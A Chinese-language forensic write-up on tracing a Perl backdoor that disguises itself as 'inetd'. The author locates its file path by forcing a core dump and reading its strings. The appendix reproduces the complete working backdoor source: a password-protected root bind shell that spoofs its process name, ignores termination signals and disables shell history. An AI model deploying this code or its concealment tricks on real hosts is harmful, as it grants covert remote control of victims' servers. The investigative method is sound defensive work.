背景
一个朋友的服务器出现了一个莫名其妙的inetd 进程，开了 21000 端口，怀疑被入侵。登陆上去简单检查了一下，发现骇客不留神把后门的一个副本，遗留在临时目录下。经过检查是个用 perl 脚本写的后门。叫 Telnet-like Standard Daemon。后门找到了，入侵事件也基本被定性。
1. 目前主机上还运行着该后门，很有可能黑客已经通过编写启动脚本，将后门加入了随机启动。
2. 该主机存储了大量文件，同时容量很大，普通的find 和grep 命令很难在短时间内完成检索
3. 为了保证性能，主机没有启动locate 服务
4. 该主机是一台redhat 主机，但是redhat 只能检查启动脚本一部分文件的完整性。
rpm -qV initscripts
rpm -qf /etc/init.d
经过检查没有发现改动。
5. 整个主机关键目录没有做完整性校验工作。
一切似乎清晰明了，我们下一步就是找出进程中木马的位置，将其处理。但是在定位木马路径时却出现很大的困难。
分析过程
将代码下载到实验机上分析。
启动后门程序
debian:/# perl /tmp/coolc.pl
debian:/# ps -ef
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 13:09 ? 00:00:02 init [2]
root 2 1 0 13:09 ? 00:00:00 [ksoftirqd/0]
root 3 1 0 13:09 ? 00:00:17 [events/0]
root 4 3 0 13:09 ? 00:00:00 [khelper]
root 5 3 0 13:09 ? 00:00:00 [kacpid]
root 38 3 0 13:09 ? 00:00:00 [kblockd/0]
root 48 3 0 13:09 ? 00:00:00 [pdflush]
root 49 3 0 13:09 ? 00:00:01 [pdflush]
root 51 3 0 13:09 ? 00:00:00 [aio/0]
root 50 1 0 13:09 ? 00:00:00 [kswapd0]
root 193 1 0 13:09 ? 00:00:00 [kseriod]
root 214 1 0 13:09 ? 00:00:00 [scsi_eh_0]
root 221 1 0 13:09 ? 00:00:00 [khubd]
root 299 1 0 13:09 ? 00:00:01 [kjournald]
root 1109 1 0 13:10 ? 00:00:00 [pciehpd_event]
root 1129 1 0 13:10 ? 00:00:00 [shpchpd_event]
root 1680 1 0 13:10 ? 00:00:00 dhclient -e -pf /var/run/dhclient.eth0.pid -lf /var/run/dhclient.eth0.leases eth0
root 2024 1 0 13:10 ? 00:00:00 /sbin/syslogd
root 2027 1 0 13:10 ? 00:00:00 /sbin/klogd
Debian- 2059 1 0 13:10 ? 00:00:00 /usr/sbin/exim4 -bd -q30m
root 2065 1 0 13:10 ? 00:00:00 /usr/sbin/inetd
root 2080 1 0 13:10 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
root 2116 2080 0 13:10 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 2117 2116 0 13:10 ? 00:00:00 /usr/sbin/mysqld --basedir=/usr
--datadir=/var/lib/mysql --user=mysql --pid-file=/var/run/mysq
root 2118 2116 0 13:10 ? 00:00:00 logger -p daemon.err -t mysqld_safe -i -t mysqld
root 2165 1 0 13:10 ? 00:00:00 /usr/sbin/sshd
daemon 2204 1 0 13:11 ? 00:00:00 /usr/sbin/atd
root 2207 1 0 13:11 ? 00:00:00 /usr/sbin/cron
root 2214 1 0 13:11 ? 00:00:05 /usr/sbin/apache
root 2230 1 0 13:11 tty1 00:00:16 -bash
root 2247 1 0 13:11 tty3 00:00:00 /sbin/getty 38400 tty3
root 2253 1 0 13:11 tty4 00:00:00 /sbin/getty 38400 tty4
root 2259 1 0 13:11 tty5 00:00:00 /sbin/getty 38400 tty5
root 2265 1 0 13:11 tty6 00:00:00 /sbin/getty 38400 tty6
www-data 2276 2214 0 13:11 ? 00:00:00 /usr/sbin/apache
www-data 2277 2214 0 13:11 ? 00:00:00 /usr/sbin/apache
www-data 2278 2214 0 13:11 ? 00:00:00 /usr/sbin/apache
www-data 2279 2214 0 13:11 ? 00:00:00 /usr/sbin/apache
www-data 2290 2214 0 13:11 ? 00:00:00 /usr/sbin/apache
root 2338 1 0 13:18 tty2 00:00:05 -bash
root 2381 2165 0 13:29 ? 00:00:15 sshd: root@pts/0,pts/1
root 2384 2381 0 13:29 pts/0 00:00:02 -bash
root 2401 2381 0 13:30 pts/1 00:00:00 -bash
root 2812 1 2 18:04 pts/0 00:00:00 inetd
root 2813 2384 0 18:04 pts/0 00:00:00 ps -ef
通过top 检查
#top
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
2812 root 15 0 5928 4184 3064 S 0.0 2.2 0:00.09 perl
显示成perl 进程
通过lsof 检查
debian:/# lsof |grep 2812
apache 2214 root txt REG 8,1 284812 22812 /usr/sbin/apache
apache 2276 www-data txt REG 8,1 284812 22812 /usr/sbin/apache
apache 2277 www-data txt REG 8,1 284812 22812 /usr/sbin/apache
apache 2278 www-data txt REG 8,1 284812 22812 /usr/sbin/apache
apache 2279 www-data txt REG 8,1 284812 22812 /usr/sbin/apache
apache 2290 www-data txt REG 8,1 284812 22812 /usr/sbin/apache
perl 2812 root cwd DIR 8,1 4096 2 /
perl 2812 root rtd DIR 8,1 4096 2 /
perl 2812 root txt REG 8,1 1057324 19396 /usr/bin/perl
perl 2812 root mem REG 8,1 90248 325777 /lib/ld-2.3.2.so
perl 2812 root mem REG 8,1 9872 325808 /lib/tls/libdl-2.3.2.so
perl 2812 root mem REG 8,1 134496 325809 /lib/tls/libm-2.3.2.so
perl 2812 root mem REG 8,1 78233 325819 /lib/tls/libpthread-0.60.so
perl 2812 root mem REG 8,1 1254468 325806 /lib/tls/libc-2.3.2.so
perl 2812 root mem REG 8,1 18876 325807 /lib/tls/libcrypt-2.3.2.so
perl 2812 root mem REG 8,1 290576 33562 /usr/lib/locale/locale-archive
perl 2812 root mem REG 8,1 17920 19420 /usr/lib/perl/5.8.4/auto/IO/IO.so
perl 2812 root mem REG 8,1 22352 19426 /usr/lib/perl/5.8.4/auto/Socket/Socket.so
perl 2812 root mem REG 8,1 114896 19423 /usr/lib/perl/5.8.4/auto/POSIX/POSIX.so
perl 2812 root mem REG 8,1 34748 325814 /lib/tls/libnss_files-2.3.2.so
perl 2812 root 0u CHR 136,0 2 /dev/pts/0
perl 2812 root 1u CHR 136,0 2 /dev/pts/0
perl 2812 root 2u CHR 136,0 2 /dev/pts/0
perl 2812 root 3u IPv4 6116 TCP *:3847 (LISTEN)
通过/proc 检查
debian:/proc/2812# ls -al
total 0
dr-xr-xr-x 3 root root 0 2005-09-17 18:04 .
dr-xr-xr-x 68 root root 0 2005-09-17 13:09 ..
dr-xr-xr-x 2 root root 0 2005-09-17 18:06 attr
-r-------- 1 root root 0 2005-09-17 18:06 auxv
-r--r--r-- 1 root root 0 2005-09-17 18:04 cmdline
lrwxrwxrwx 1 root root 0 2005-09-17 18:05 cwd -> /
-r-------- 1 root root 0 2005-09-17 18:06 environ
lrwxrwxrwx 1 root root 0 2005-09-17 18:05 exe -> /usr/bin/perl
dr-x------ 2 root root 0 2005-09-17 18:04 fd
-r--r--r-- 1 root root 0 2005-09-17 18:05 maps
-rw------- 1 root root 0 2005-09-17 18:06 mem
-r--r--r-- 1 root root 0 2005-09-17 18:06 mounts
lrwxrwxrwx 1 root root 0 2005-09-17 18:05 root -> /
-r--r--r-- 1 root root 0 2005-09-17 18:04 stat
-r--r--r-- 1 root root 0 2005-09-17 18:05 statm
-r--r--r-- 1 root root 0 2005-09-17 18:04 status
dr-xr-xr-x 3 root root 0 2005-09-17 18:06 task
-r--r--r-- 1 root root 0 2005-09-17 18:06 wchan
debian:/proc/2812/fd# ls -al
total 4
dr-x------ 2 root root 0 2005-09-17 18:04 .
dr-xr-xr-x 3 root root 0 2005-09-17 18:04 ..
lrwx------ 1 root root 64 2005-09-17 18:05 0 -> /dev/pts/0
lrwx------ 1 root root 64 2005-09-17 18:05 1 -> /dev/pts/0
lrwx------ 1 root root 64 2005-09-17 18:04 2 -> /dev/pts/0
lrwx------ 1 root root 64 2005-09-17 18:05 3 -> socket:[6116]
此处注意，如果黑客用./coolc.pl 启动后门，在这里就会被显露出来。但是这里我比较狡猾的利用perl 去解释该脚本，因此此处只能显露出socket 了。
难点
常规检查top lsof proc 检查，得到的信息完全无法让我们定位此木马的位置，那么对方是通过什么手段来进行隐藏的呢？
检查了一下代码，它的技巧主要是在于如下两个地方：
1、“$0”被设置为一个虚假的名称：
my $PROC = "inetd"; # name of the process
......
$0=$PROC."＼0";
因此在进程中看到进程名是 inetd
2、因为是 perl 脚本后门，他进行了chdir,因此在 proc 里面看到的是 perl 的信息。
$PORT = $ARGV[0] if ($ARGV[0]);
chdir('/');
no strict 'refs';
my $bindfd = *{'bind_sock'};
......
这段代码导致proc 里其路径变为了/，而非程序存在路径。如此看来，整个检查工作在这一步进一步陷入僵局。
前期背景交代中已经阐明，由于服务器文件众多，不易进行诸如find ,grep 等查找。但目前这个后门可能被写在其他脚本中，通过调用关系启动。需要及早查出。
本来通过常规方法，通过进程与文件的关联，使用诸如lsof 等工具软件是可以查出的。但此类工具都是通过proc 的访问来获取文件的，但是目前proc 信息被重写，似乎一切都被擦除的没有了踪迹。
Core_dump 的尝试
采用coredump 思路是这样产生的，目前文件系统，proc 在我们基本确认没有希望获取信息的时候，大多数工具进行检查的意义也不大了。同时由于是PERL 脚本，很多信息只会
表现为perl 进程的信息。
但是也许在一个地方还有我们需要的信息，那就是该进程的内存中残存的信息。而linux 本身提供CORE DUMP 机制，可以让我们通过DUMP 后门进程中的数据，来获取数据。那么下面在我的实验环境中来操作一下我们的思路，看看上述方法是否可行。
检查core dump 环境设置
debian:~# ulimit -a
core file size (blocks, -c) unlimited
data seg size (kbytes, -d) unlimited
file size (blocks, -f) unlimited
max locked memory (kbytes, -l) unlimited
max memory size (kbytes, -m) unlimited
open files (-n) 1024
pipe size (512 bytes, -p) 8
stack size (kbytes, -s) 8192
cpu time (seconds, -t) unlimited
max user processes (-u) unlimited
virtual memory (kbytes, -v) unlimited
启动perl 木马
debian:/# mkdir /tmp/.coolc
debian:/# cp /root/1.pl /tmp/.coolc/coolc.pl
debian:/# perl /tmp/.coolc/coolc.pl
经过检查，后门正常启动。
debian:/# ps -ef
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 13:09 ? 00:00:00 init [2]
root 2 1 0 13:09 ? 00:00:00 [ksoftirqd/0]
root 3 1 0 13:09 ? 00:00:13 [events/0]
root 4 3 0 13:09 ? 00:00:00 [khelper]
root 5 3 0 13:09 ? 00:00:00 [kacpid]
root 38 3 0 13:09 ? 00:00:00 [kblockd/0]
root 48 3 0 13:09 ? 00:00:00 [pdflush]
root 49 3 0 13:09 ? 00:00:00 [pdflush]
root 51 3 0 13:09 ? 00:00:00 [aio/0]
root 50 1 0 13:09 ? 00:00:00 [kswapd0]
root 193 1 0 13:09 ? 00:00:00 [kseriod]
root 214 1 0 13:09 ? 00:00:00 [scsi_eh_0]
root 221 1 0 13:09 ? 00:00:00 [khubd]
root 299 1 0 13:09 ? 00:00:00 [kjournald]
root 1109 1 0 13:10 ? 00:00:00 [pciehpd_event]
root 1129 1 0 13:10 ? 00:00:00 [shpchpd_event]
root 1680 1 0 13:10 ? 00:00:00 dhclient -e -pf /var/run/dhclient.eth0.pid -lf /var/run/dhclient.eth0.leases eth0
root 2024 1 0 13:10 ? 00:00:00 /sbin/syslogd
root 2027 1 0 13:10 ? 00:00:00 /sbin/klogd
Debian- 2059 1 0 13:10 ? 00:00:00 /usr/sbin/exim4 -bd -q30m
root 2065 1 0 13:10 ? 00:00:00 /usr/sbin/inetd
root 2080 1 0 13:10 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
root 2116 2080 0 13:10 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 2117 2116 0 13:10 ? 00:00:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql --pid-file=/var/run/mysq
root 2118 2116 0 13:10 ? 00:00:00 logger -p daemon.err -t mysqld_safe -i -t mysqld
root 2165 1 0 13:10 ? 00:00:00 /usr/sbin/sshd
daemon 2204 1 0 13:10 ? 00:00:00 /usr/sbin/atd
root 2207 1 0 13:10 ? 00:00:00 /usr/sbin/cron
root 2214 1 0 13:11 ? 00:00:00 /usr/sbin/apache
root 2230 1 0 13:11 tty1 00:00:16 -bash
root 2247 1 0 13:11 tty3 00:00:00 /sbin/getty 38400 tty3
root 2253 1 0 13:11 tty4 00:00:00 /sbin/getty 38400 tty4
root 2259 1 0 13:11 tty5 00:00:00 /sbin/getty 38400 tty5
root 2265 1 0 13:11 tty6 00:00:00 /sbin/getty 38400 tty6
www-data 2276 2214 0 13:11 ? 00:00:00 /usr/sbin/apache
www-data 2277 2214 0 13:11 ? 00:00:00 /usr/sbin/apache
www-data 2278 2214 0 13:11 ? 00:00:00 /usr/sbin/apache
www-data 2279 2214 0 13:11 ? 00:00:00 /usr/sbin/apache
www-data 2290 2214 0 13:11 ? 00:00:00 /usr/sbin/apache
root 2338 1 0 13:18 tty2 00:00:05 -bash
root 2381 2165 0 13:29 ? 00:00:09 sshd: root@pts/0,pts/1
root 2384 2381 0 13:29 pts/0 00:00:00 -bash
root 2401 2381 0 13:30 pts/1 00:00:00 -bash
root 2545 1 1 13:59 pts/0 00:00:00 inetd
root 2546 2384 0 13:59 pts/0 00:00:00 ps -ef
发送信号SIGSEGV 来DUMP 出我们需要的信息。
debian:/# ps –ef
debian:/# kill -SIGSEGV 2545
通过string 来获取字符串。
debian:/#stings core.2545
......
INADDR_LOOPBACK
SelectSaver.pm
croak
carp
Exporter
BEGIN
main
/tmp/.coolc/coolc.pl
import
/tmp/.coolc/coolc.pl
Main
......
找到了 ：）
总结
经过多次检查，发现在string 出来的字符串中，在出现perl 路径等信息后，木马加密的字符串之前的内容就是后门路径，通过此方法可以很精确的定位后门位置。很明显这是脚本初始化时保留的信息。
......
/etc/perl
/usr/lib/perl/5.8
/usr/local/lib/perl/5.8.4
/usr/local/share/perl/5.8.4
/usr/lib/perl5
/usr/share/perl5
/usr/share/perl/5.8
/usr/local/lib/site_perl
nux-
/tmp/coolc.pl
/tmp/coolc.pl
ouhEUhhJ6RbwE
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
......
本 次检查开阔了我的眼界，在解释器中的后门定位问题远比我想象的要难，因为大量的细节被封装在了解释器内部。在安全检查时，一个精巧的技巧将会使检查人员陷 入尴尬的境地，因此我们需要不断的加强深度广度的拓展，一个安全人员的知识覆盖面和对系统的熟悉程度，往往最终决定了你安全检查的成败。
这里特别感谢raymond aa coolq 和我的讨论和技术上的帮助。
附录
木马源码
#!/usr/bin/perl
# Telnet-like Standard Daemon 0.7
#
# 0ldW0lf - oldwolf@atrixteam.net
# - old-wolf@zipmai.com
# - www.atrix.cjb.net
# - www.atrixteam.net
#
# For those guys that still like to open ports
# and use non-rooted boxes
#
# This has been developed to join in the TocToc
# project code, now it's done and I'm distributing
# this separated
#
# This one i made without IO::Pty so it uses
# only standard modules... enjoy it
#
# tested on linux boxes.. probably will work fine on others
# any problem... #atrix@irc.brasnet.org
#
##########################################################
# ******************* CONFIGURATION ******************** #
##########################################################
my $PORT = $ARGV[0] || 3847; # default port is 3847
my $PASS = 'ouhEUhhJ6RbwE'; # encripted password
my $SHELL = "/bin/bash"; # shell to be executed
my $HOME = "/tmp"; # your HOME
my $PROC = "inetd"; # name of the process
my $PASS_PROMPT = "Password: "; # password prompt
my $WRONG_PASS = "Password Errata!"; # "wrong password" message
my @STTY = ('sane', 'dec'); # stty arguments
##########################################################
# feel free to change the ENV
#### ENVironment ####
$ENV{HOME} = $HOME;
#$ENV{PS1} = '[\u@\h \W]: '; # the way i like :)
# colorful PS1 is also funny :)
$ENV{PS1} = '\[\033[3;36m\][\[\033[3;34m\]\[\033[1m\]\u\[\033[3;36m\]@\[\033[0m\]\[\033[3;34m\]\[\033[1m\]\h \[\033[0m\]\[\033[1m\]\W\[\033[0m\]\[\033[3;36m\]]\[\033[0m\]\[\033[1m:\[\033[0m\] ';
$ENV{MAIL} = '/var/mail/root';
$ENV{PATH} = '/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin';
$ENV{HISTFILE} = '/dev/null';
$ENV{USER} = 'root';
$ENV{LOGNAME} = 'root';
$ENV{LS_OPTIONS} = ' --color=auto -F -b -T 0';
$ENV{LS_COLORS} = 'no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:ex=01;32:*.cmd=01;32:*
.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.
zip=01;31:*.bz2=01;31:*.rpm=01;31:*.deb=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.jpg=01;35:*.gif=01;35:*
.bmp=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.mpg=01;37:*.avi=01;37:*
.mov=01;37:';
$ENV{SHELL} = $SHELL;
$ENV{TERM} = 'xterm';
#####################
$0=$PROC."\0";
use IO::Socket;
use IO::Select;
use POSIX;
use strict;
# i wouldn't change that
# if i were you
###### SIGnals ######
$SIG{HUP} = 'IGNORE';
$SIG{PS} = 'IGNORE';
$SIG{TERM} = 'IGNORE';
$SIG{CHLD} = sub { wait; };
#####################
# ioctl stuff
my %IOCTLDEF;
$IOCTLDEF{TIOCSWINSZ} = 0x5414;
$IOCTLDEF{TIOCNOTTY} = 0x5422;
$IOCTLDEF{TIOCSCTTY} = 0x540E;
safeload('sys/ttycom.ph', 1); # BSD
safeload('sys/ioctl.ph', 1);
safeload('asm/ioctls.ph', 1);
foreach my $IOCTL (keys(%IOCTLDEF)) {
next if (defined(&{$IOCTL}));
if (open(IOD, "< /usr/include/asm/ioctls.h")) { # linux
while() {
if (/^\#define\s+$IOCTL\s+(.*?)\n$/) {
eval "sub $IOCTL () {$1;}";
last;
}
}
close(IOD);
}
# i realy dunno if i can do that.. but.. here it goes
eval "sub $IOCTL () { $IOCTLDEF{$IOCTL};}" unless (defined(&{$IOCTL}));
}
# starting...
$PORT = $ARGV[0] if ($ARGV[0]);
chdir('/');
no strict 'refs';
my $bindfd = *{'bind_sock'};
*{$bindfd}= IO::Socket::INET->new(Listen => 1, LocalPort => $PORT, Proto => "tcp") || die "could not listen on port $PORT: $!";
my $bind = \*{$bindfd};
my $pid = fork();
die "ERROR: I could not fork() the process." unless defined($pid);
exit if $pid;
my %CLIENT;
my $sel_serv = IO::Select->new($bind);
my $sel_shell = IO::Select->new();
# main loop...
while ( 1 ) {
select(undef,undef,undef, 0.3) if (scalar(keys(%CLIENT)) == 0);
read_clients();
read_shells();
}
sub read_clients {
map { read_client($_) } ($sel_serv->can_read(0.01));
}
sub read_client {
my $fh = shift;
if ($fh eq $bind) {
my $newcon = $bind->accept;
$sel_serv->add($newcon);
$CLIENT{$newcon}->{senha} = 0;
$CLIENT{$newcon}->{sock} = $newcon;
$fh->autoflush(1);
do_client($newcon, '3', '5', '1');
sleep(1);
write_client($newcon, $PASS_PROMPT) if ($PASS_PROMPT);
} else {
my $msg;
my $nread = sysread($fh, $msg, 1024);
if ($nread == 0) {
close_client($fh);
} else {
telnet_parse($fh, $msg);
}
}
}
sub read_shells {
map { read_shell($_) } ($sel_shell->can_read(0.01));
}
sub telnet_parse {
my ($cli, $msg) = @_;
my $char = (split('', $msg))[0];
if (ord($char) == 255) {
chr_parse($cli, $msg);
} else {
if ($CLIENT{$cli}->{senha} == 0) {
$CLIENT{$cli}->{buf} .= $msg;
return() unless ($msg =~ /\r|\n/);
my $pass = $CLIENT{$cli}->{buf};
$CLIENT{$cli}->{buf} = '';
$pass =~ s/\n//g;
$pass =~ s/\0//g;
$pass =~ s/\r//g;
if (crypt($pass, $PASS) ne $PASS) {
finish_client($cli, "\r\n\r".$WRONG_PASS."\r\n\r");
} else {
$CLIENT{$cli}->{senha} = 1;
write_client($cli, chr(255).chr(253).chr(31));
write_client($cli, "\r\n\r\r\n\r");
new_shell($cli);
}
return();
}
$msg =~ s/\r\n\0\0//g;
$msg =~ s/\0//g;
$msg =~ s/\r\n/\n/g;
write_shell($cli, $msg);
}
}
sub read_shell {
my $shell = shift;
my $cli;
map { $cli = $CLIENT{$_}->{sock} if ($CLIENT{$_}->{shell} eq $shell) } keys(%CLIENT);
my $msg;
my $nread = sysread($shell, $msg, 1024);
if ($nread == 0) {
finish_client($cli, "Terminal closed.\r\n\r");
} else {
write_client($cli, $msg);
}
}
sub to_chr {
my $chrs = '';
map { $chrs .= chr($_) } (split(/ +/, shift));
return($chrs);
}
sub do_client {
my ($client, @codes) = @_;
map { write_client($client, chr(255).chr(251).chr($_)) } @codes;
}
sub chr_parse {
my ($client, $chrs) = @_;
my $ords = '';
map { $ords .= ord($_).' ' } (split(//, $chrs));
my $msg = '';
if ($ords =~ /255 250 31 (\d+) (\d+) (\d+) (\d+)/) {
my $winsize = pack('C4', $4, $3, $2, $1);
ioctl($CLIENT{$client}->{shell}, &TIOCSWINSZ, $winsize);# || die "erro: $!";
}
foreach my $code (split("255 ", $ords)) {
if ($code =~ /(\d+) (.*)$/) {
my $codes = $2;
if ($1 == 251) {
# do whatever you want dude ehehe
$msg .= chr(255).chr(253);
map { $msg .= chr($_) } (split(/ +/, $codes));
}
}
}
write_client($client, $msg) if ($msg);
return(1);
}
sub new_shell {
my $cli = shift;
POSIX::setpgid(0, 0);
my ($tty, $pty);
unless (($tty, $pty) = open_tty($cli)) {
finish_client($cli, "ERROR: No more pty磗 avaliable\n");
return(undef);
}
my $pid = fork();
if (not defined($pid)) {
finish_client($cli, "ERROR: fork()\n");
return(undef);
}
unless($pid) {
close($pty);
local(*DEVTTY);
if (open (DEVTTY, "/dev/tty")) {
ioctl(DEVTTY, &TIOCNOTTY, 0 );# || die "erro: $!";
close(DEVTTY);
}
POSIX::setsid();
ioctl($tty, &TIOCSCTTY, 0);# || die "erro: $!";
open (STDIN, "<&".fileno($tty)) || die "I could not reopen STDIN: $!";
open (STDOUT, ">&".fileno($tty)) || die "I could not reopen STDOUT: $!";
open (STDERR, ">&".fileno($tty)) || die "I could not reopen STDERR: $!";
close($tty);
sleep(1);
foreach my $stty ("/bin/stty", "/usr/bin/stty") {
next unless (-x $stty);
map { system("$stty", $_) } @STTY;
}
chdir("$HOME");
{ exec("$SHELL") };
syswrite(STDOUT, "\n\nERROR: exec($SHELL)\n\nI could not execute the shell ($SHELL)\nHowever you are lucky :P\nYou can use the \"I'm FUCKED!\" mode and fix up this thing...\nTip: Find some shell and execute it ;)\n\n");
syswrite(STDOUT, "\n\nOK! I'm Fucked mode.\n");
syswrite(STDOUT, "Type ^C to exit\n\nI'm FuCKeD!# ");
while (my $msg = ) {
$msg =~ s/\n$//;
$msg =~ s/\r$//;
if ($msg =~ /^\s*cd\s+(\S+)/) {
my $notf = "directory $1 not found!\n";
chdir($1) || syswrite(STDOUT, $notf, length($notf));
} else {
system("$msg 2>&1");
}
syswrite(STDOUT, "I'm FuCKeD!# ");
}
exit;
}
close($tty);
select($pty); $| = 1;
select(STDOUT);
set_raw($pty);
$CLIENT{$cli}->{shell} = $pty;
$sel_shell->add($pty);
return(1);
}
# Funciton set_raw() stolen from IO::Pty
sub set_raw($) {
my $self = shift;
return 1 if not POSIX::isatty($self);
my $ttyno = fileno($self);
my $termios = new POSIX::Termios;
unless ($termios) {
# warn "set_raw: new POSIX::Termios failed: $!";
return undef;
}
unless ($termios->getattr($ttyno)) {
# warn "set_raw: getattr($ttyno) failed: $!";
return undef;
}
$termios->setiflag(0);
$termios->setoflag(0);
$termios->setlflag(0);
$termios->setcc(&POSIX::VMIN, 1);
$termios->setcc(&POSIX::VTIME, 0);
unless ($termios->setattr($ttyno, &POSIX::TCSANOW)) {
# warn "set_raw: setattr($ttyno) failed: $!";
return undef;
}
return 1;
}
sub open_tty {
no strict;
my $cli = shift;
my ($PTY, $TTY) = (*{"pty.$cli"}, *{"tty.$cli"}); # believe me old versions :/
for (my $i = 0; $i < 256; $i++) {
my $pty = get_tty($i, "/dev/pty");
next unless (open($PTY, "+> $pty"));
my $tty = get_tty($i, "/dev/tty");
unless(open($TTY, "+> $tty")) {
close($PTY);
next;
}
return($TTY, $PTY);
}
return();
}
sub get_tty {
my ($num, $base) = @_;
my @series = ('p' .. 'z', 'a' .. 'e');
my @subs = ('0' .. '9', 'a' .. 'f');
my $buf = $base;
$buf .= @series[($num >> 4) & 0xF];
$buf .= @subs[$num & 0xF];
return($buf);
}
sub safeload {
my ($module, $require, $arg) = @_;
my $file = $module;
$file =~ s/::/\//g;
if ($require) {
# all found gonna be loaded
map { eval ("require \"$_/$file\";") if(-f "$_/$file"); } @INC;
} else {
$file .= ".pm" unless ($file =~ /(\.pm|\.ph)$/);
return(eval("use $module $arg;")) if (grep { -f "$_/$file" } @INC);
}
return();
}
sub write_shell {
my ($cli, $msg) = @_;
my $shell = $CLIENT{$cli}->{shell};
return(undef) unless ($shell);
foreach my $m (split_chars($msg, 20)) {
read_shells();
print $shell $m;
read_shells();
}
return(1);
}
sub split_chars {
my ($msg, $nchars) = @_;
my @splited;
my @chrs = split ('', $msg);
my $done = 0;
while ( 1 ) {
my $splited = join('', @chrs[$done .. ($done+$nchars-1)]);
$done += $nchars;
last if (length($splited) < 1);
push(@splited, $splited);
}
return(@splited);
}
sub finish_client {
my ($cli, $msg) = @_;
write_client($cli, $msg);
close_client($cli);
}
sub close_client {
my $cli = shift;
my $sock = $CLIENT{$cli}->{sock};
$sel_serv->remove($sock);
if ($CLIENT{$cli}->{shell}) {
my $shell = $CLIENT{$cli}->{shell};
$sel_shell->remove($shell);
close($shell);
}
$sock->close() if($sock);
delete($CLIENT{$cli});
}
sub write_client {
my ($cli, $msg) = @_;
my $sock = $CLIENT{$cli}->{sock};
syswrite($sock, $msg, length($msg)) if ($sock);
}